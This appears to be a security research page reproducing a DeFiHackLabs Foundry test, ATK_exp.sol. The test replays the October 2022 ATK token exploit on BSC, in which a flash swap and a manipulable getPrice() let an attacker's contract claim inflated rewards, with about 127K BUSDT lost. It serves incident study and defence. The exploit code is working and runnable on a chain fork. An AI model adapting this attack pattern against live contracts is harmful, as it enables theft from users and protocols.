Public reproduction file
src/test/2022-10/ATK_exp.sol
Public reproduction file for dataset entry ATK.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~127K BUSDT8// Attacker : 0x3DF6cd58716d22855aFb3B828F82F10708AfbB4f9// Attack Contract : https://bscscan.com/address/0xd7ba198ce82f4c46ad8f6148ccfdb4186675023110// Vulnerable Contract : https://bscscan.com/address/0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c11// Attack related Txs :12// - https://bscscan.com/tx/0xb181e88e6b37ee9986f2a57aefb94779402fdb928654aa7c1dda5138b90d0e1413// - https://bscscan.com/tx/0x9e328f77809ea3c01833ec7ed8928edb4f5798c96f302b54fc640a22b3dd1a5214// - https://bscscan.com/tx/0x55983d8701e40353fee90803688170a16424ee702f6b21bb198bb8e7282112cd15// - https://bscscan.com/tx/0x601b8ab0c1d51e71796a0df5453ca671ae23de3d5ec9ffd87b9c378504f99c3217// @Info18// Vulnerable Contract Code : https://bscscan.com/address/0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c#code#L70620// @Analysis21// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/158009532520047411222// Article CertiK : https://www.certik.com/resources/blog/1YsQo8TnxCvwalqvtkFLtC-journey-of-awakening-incident-analysis24// Closed-source contract is designed to deposit and claimReward(), the claim function use getPrice() in ATK token contract25// Root cause: getPrice() function27contract ContractTest is Test {28 IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));29 IERC20 constant ATK_TOKEN = IERC20(0x9cB928Bf50ED220aC8f703bce35BE5ce7F56C99c);30 IERC20 constant BUSDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955);31 Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);32 Uni_Pair_V2 constant ATK_BUSDT_PAIR = Uni_Pair_V2(0xd228fAee4f73a73fcC73B6d9a1BD25EE1D6ee611);33 address constant EXPLOIT_CONTRACT = 0xD7ba198ce82f4c46AD8F6148CCFDB41866750231;34 address constant EXPLOIT_AUX_CONTRACT = 0x96bF2E6CC029363B57Ffa5984b943f825D333614;36 uint256 swapamount;38 function setUp() public {39 vm.createSelectFork("bsc", 22_102_838);40 // Adding labels to improve stack traces' readability41 vm.label(address(WBNB_TOKEN), "WBNB_TOKEN");42 vm.label(address(ATK_TOKEN), "ATK_TOKEN");43 vm.label(address(BUSDT_TOKEN), "BUSDT_TOKEN");44 vm.label(address(PS_ROUTER), "PS_ROUTER");45 vm.label(address(ATK_BUSDT_PAIR), "ATK_BUSDT_PAIR");46 vm.label(EXPLOIT_CONTRACT, "EXPLOIT_CONTRACT");47 vm.label(EXPLOIT_AUX_CONTRACT, "EXPLOIT_AUX_CONTRACT");48 }50 function testExploit() public {51 emit log_named_decimal_uint(52 "[Start] Attacker ATK balance before exploit", ATK_TOKEN.balanceOf(EXPLOIT_CONTRACT), 1853 );55 WBNB_TOKEN.deposit{value: 2 ether}();56 _WBNBToBUSDT();58 swapamount = BUSDT_TOKEN.balanceOf(address(ATK_BUSDT_PAIR)) - 3 * 1e18;59 ATK_BUSDT_PAIR.swap(swapamount, 0, address(this), new bytes(1));61 emit log_named_decimal_uint(62 "[End] Attacker ATK balance after exploit", ATK_TOKEN.balanceOf(EXPLOIT_CONTRACT), 1863 );64 }66 /*67 * Callback function called by PancakeSwap during the flashswap68 */69 function pancakeCall(70 address, /*sender*/71 uint256, /*amount0*/72 uint256, /*amount1*/73 bytes calldata /*data*/74 ) public {75 // EXPLOIT_CONTRACT calls `claimToken1()` function76 vm.prank(EXPLOIT_CONTRACT);77 (bool success,) = EXPLOIT_AUX_CONTRACT.call(abi.encodeWithSignature("claimToken1()"));78 require(success, "Call `claimToken1()` failed");80 // Return the BUSDT to the ATK_BUSDT_PAIR81 BUSDT_TOKEN.transfer(address(ATK_BUSDT_PAIR), swapamount * 10_000 / 9975 + 1000);82 }84 /**85 * Auxiliary function to swap all WBNB to BUSDT86 */87 function _WBNBToBUSDT() internal {88 WBNB_TOKEN.approve(address(PS_ROUTER), type(uint256).max);89 address[] memory path = new address[](2);90 path[0] = address(WBNB_TOKEN);91 path[1] = address(BUSDT_TOKEN);92 PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(93 WBNB_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp94 );95 }96}Analysis
Dataset entry
Public Foundry test for “ATK” (2022-10-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3df6cd58716d22855afb3b828f82f10708afbb4f
- Attack Contract
0xd7ba198ce82f4c46ad8f6148ccfdb41866750231
- Vulnerable Contract
0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c
- Twitter: https://twitter.com/BlockSecTeam/status/1580095325200474112
- Article: https://www.certik.com/resources/blog/1YsQo8TnxCvwalqvtkFLtC-journey-of-awakening-incident-analysis
- Explorer: https://bscscan.com/address/0xd7ba198ce82f4c46ad8f6148ccfdb41866750231
- Explorer: https://bscscan.com/address/0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c
- Explorer: https://bscscan.com/tx/0xb181e88e6b37ee9986f2a57aefb94779402fdb928654aa7c1dda5138b90d0e14
- Explorer: https://bscscan.com/tx/0x9e328f77809ea3c01833ec7ed8928edb4f5798c96f302b54fc640a22b3dd1a52
- Explorer: https://bscscan.com/tx/0x55983d8701e40353fee90803688170a16424ee702f6b21bb198bb8e7282112cd
- Explorer: https://bscscan.com/tx/0x601b8ab0c1d51e71796a0df5453ca671ae23de3d5ec9ffd87b9c378504f99c32
- Explorer: https://bscscan.com/address/0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c#code#L706
File record
- Name
- ATK
- Path
- src/test/2022-10/ATK_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 01bc1d965c0214a68aab3706ad708b27b3ad392b
- Language
- Solidity
- Size
- 97 lines
- Date
- 2022-10-12
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/ATK_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 01bc1d965c0214a68aab3706ad708b27b3ad392b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.